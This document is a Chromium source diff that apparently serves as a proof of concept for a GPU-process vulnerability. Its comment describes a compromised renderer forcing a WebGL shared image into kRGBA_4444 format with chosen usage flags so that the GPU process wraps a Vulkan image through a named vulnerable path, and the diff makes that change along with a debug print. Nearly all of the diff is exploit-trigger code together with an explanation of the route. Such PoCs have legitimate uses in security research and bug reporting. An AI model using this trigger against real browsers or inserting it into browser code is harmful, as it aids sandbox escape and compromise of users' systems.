diff --git a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc
index c827786fb60ae..30bacb7c01c37 100644
--- a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc
+++ b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc
@@ -2162,10 +2162,30 @@ scoped_refptr<DrawingBuffer::ColorBuffer> DrawingBuffer::CreateColorBuffer(
     back_buffer_alpha_type = kUnpremul_SkAlphaType;
   }
 
+  // ====================================================================
+  // POC INJECTION (Strategy B - compromised renderer): a compromised
+  // renderer can send any viz::SharedImageFormat / SharedImageUsageSet over
+  // the GPU channel via SharedImageInterface::CreateSharedImage. We override
+  // the WebGL drawing-buffer format to kRGBA_4444 with
+  // GLES2_READ|GLES2_WRITE|DISPLAY_READ so the GPU process selects
+  // AngleVulkanImageBacking (GLTextureImageBacking rejects DISPLAY_* when
+  // gr_context_type==kVulkan) and creates a VK_FORMAT_R4G4B4A4_UNORM_PACK16
+  // VkImage. The subsequent CreateGLTexture/BeginAccess (below, unchanged)
+  // makes the GPU process wrap that image via VkImageImageSiblingVk::initImpl
+  // - the vulnerable path. This is the *only* renderer-side modification.
+  // ====================================================================
   back_buffer_shared_image = sii->CreateSharedImage(
-      {color_buffer_format_, size, color_space_, origin, back_buffer_alpha_type,
-       usage, "WebGLDrawingBuffer"},
+      {viz::SinglePlaneFormat::kRGBA_4444, size, color_space_, origin,
+       back_buffer_alpha_type,
+       gpu::SHARED_IMAGE_USAGE_GLES2_READ |
+           gpu::SHARED_IMAGE_USAGE_GLES2_WRITE |
+           gpu::SHARED_IMAGE_USAGE_DISPLAY_READ,
+       "WebGLDrawingBuffer"},
       gpu::kNullSurfaceHandle);
+  fprintf(stderr,
+          "[POC-RENDERER] Sent CreateSharedImage(kRGBA_4444, "
+          "GLES2_READ|GLES2_WRITE|DISPLAY_READ, %dx%d) to GPU process\n",
+          size.width(), size.height());
 
   staging_texture_needed_ = false;
   if (requested_alpha_type_ == kUnpremul_SkAlphaType &&